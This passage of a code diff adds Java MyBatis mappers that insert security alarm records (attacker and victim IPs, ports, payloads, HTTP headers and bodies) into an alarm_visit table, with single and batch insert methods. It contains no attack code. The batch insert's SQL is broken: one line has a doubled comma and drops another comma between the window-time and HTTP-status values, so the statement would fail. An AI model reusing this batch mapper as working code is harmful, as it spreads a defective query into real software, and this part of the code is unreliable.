"id, created_at, alarm_name, alarm_level, alarm_type, " +
|
||||
"alarm_major_type, alarm_minor_type,alarm_area_id, attack_ip, victim_ip, victim_web_url, " +
|
||||
"device_id, comment,origin_log_ids, log_start_at, log_end_at, window_time, http_status, " +
|
||||
"attack_port, victim_port, attack_method, etl_time, log_count, " +
|
||||
"attack_chain_phase, disposition_advice, attack_direction, " +
|
||||
"judged_state, disposed_state, attack_result, fall, payload, dns_info, engine_type, " +
|
||||
"http_req_header , http_req_body,http_resp_header , http_resp_body " +
|
||||
") VALUES (" +
|
||||
"#{id}, #{createdAt}, #{alarmName}, #{alarmLevel}, " +
|
||||
"#{alarmType}, #{alarmMajorType}, #{alarmMinorType}, #{alarmAreaId}, " +
|
||||
"#{attackIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{victimIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{victimWebUrl, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, "+
|
||||
"#{deviceId, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{comment}, " +
|
||||
"#{originLogIds, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{logStartAt}, #{logEndAt}, #{windowTime},#{httpStatus}, " +
|
||||
"#{attackPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{victimPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{attackMethod}, #{etlTime}, #{logCount}, " +
|
||||
"#{attackChainPhase, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{dispositionAdvice}, #{attackDirection}, " +
|
||||
"#{judgedState}, #{disposedState}, #{attackResult}, #{fall}, #{payload}, #{dnsInfo},#{engineType}, " +
|
||||
"#{httpReqHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{httpReqBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{httpRespHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{httpRespBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler} " +
|
||||
")")
|
||||
void insert(Alarm alarm);
|
||||
}
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
package com.common.mapper;
|
||||
|
||||
import com.common.entity.Alarm;
|
||||
import com.common.entity.AlarmVisit;
|
||||
import org.apache.ibatis.annotations.Insert;
|
||||
import org.apache.ibatis.annotations.Mapper;
|
||||
import org.apache.ibatis.annotations.Param;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
|
||||
@Mapper
|
||||
public interface AlarmVisitMapper {
|
||||
|
||||
/**
|
||||
* 批量插入告警数据
|
||||
*/
|
||||
@Insert({"<script>",
|
||||
"INSERT INTO alarm_visit (",
|
||||
"id, created_at, alarm_name, alarm_level, alarm_type, ",
|
||||
"alarm_major_type, alarm_minor_type,alarm_area_id, attack_ip, victim_ip, victim_web_url, ",
|
||||
"device_id, comment,origin_log_ids,log_start_at, log_end_at,window_time, http_status, ",
|
||||
"attack_port, victim_port, attack_method, etl_time, log_count, ",
|
||||
"attack_chain_phase, disposition_advice, attack_direction, ",
|
||||
"judged_state, disposed_state, attack_result, fall, payload, dns_info, engine_type, " ,
|
||||
"http_req_header , http_req_body,http_resp_header , http_resp_body ",
|
||||
") VALUES ",
|
||||
"<foreach collection='list' item='item' separator=','>",
|
||||
"(#{item.id}, #{item.createdAt}, #{item.alarmName}, #{item.alarmLevel}, ",
|
||||
"#{item.alarmType}, #{item.alarmMajorType}, #{item.alarmMinorType}, #{item.alarmAreaId}, ",
|
||||
"#{item.attackIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.victimIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.victimWebUrl, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.deviceId, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.comment}, " ,
|
||||
"#{item.originLogIds, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.logStartAt}, #{item.logEndAt},, #{item.windowTime} #{item.httpStatus}, ",
|
||||
"#{item.attackPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.victimPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.attackMethod}, #{item.etlTime}, #{item.logCount}, ",
|
||||
"#{item.attackChainPhase, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, ",
|
||||
"#{item.dispositionAdvice}, #{item.attackDirection}, ",
|
||||
"#{item.judgedState}, #{item.disposedState}, #{item.attackResult}, #{item.fall}, ",
|
||||
"#{item.payload},#{item.dnsInfo}, #{item.engineType}, ",
|
||||
"#{item.httpReqHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.httpReqBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.httpRespHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, ",
|
||||
"#{item.httpRespBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}) ",
|
||||
"</foreach>",
|
||||
"</script>"})
|
||||
void batchInsert(@Param("list") List<AlarmVisit> alarmList);
|
||||
|
||||
/**
|
||||
* 单条插入告警数据
|
||||
*/
|
||||
@Insert("INSERT INTO alarm_visit (" +
|
||||
"id, created_at, alarm_name, alarm_level, alarm_type, " +
|
||||
"alarm_major_type, alarm_minor_type,alarm_area_id, attack_ip, victim_ip, victim_web_url, " +
|
||||
"device_id, comment,origin_log_ids, log_start_at, log_end_at, window_time,http_status, " +
|
||||
"attack_port, victim_port, attack_method, etl_time, log_count, " +
|
||||
"attack_chain_phase, disposition_advice, attack_direction, " +
|
||||
"judged_state, disposed_state, attack_result, fall, payload, dns_info,engine_type, " +
|
||||
"http_req_header , http_req_body,http_resp_header , http_resp_body " +
|
||||
") VALUES (" +
|
||||
"#{id}, #{createdAt}, #{alarmName}, #{alarmLevel}, " +
|
||||
"#{alarmType}, #{alarmMajorType}, #{alarmMinorType}, #{alarmAreaId}, " +
|
||||
"#{attackIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{victimIp, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{victimWebUrl, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, "+
|
||||
"#{deviceId, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{comment}, " +
|
||||
"#{originLogIds, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{logStartAt}, #{logEndAt}, #{windowTime}, #{httpStatus}, " +
|
||||
"#{attackPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{victimPort, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{attackMethod}, #{etlTime}, #{logCount}, " +
|
||||
"#{attackChainPhase, typeHandler=com.Modules.etl.handler.ArrayIntegerTypeHandler}, " +
|
||||
"#{dispositionAdvice}, #{attackDirection}, " +
|
||||
"#{judgedState}, #{disposedState}, #{attackResult}, #{fall}, #{payload},#{dnsInfo} ,#{engineType}, " +
|
||||
"#{httpReqHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{httpReqBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{httpRespHeader, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler}, " +
|
||||
"#{httpRespBody, typeHandler=com.Modules.etl.handler.ArrayStringTypeHandler} " +
|
||||
")")
|
||||
void insert(AlarmVisit alarm);
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user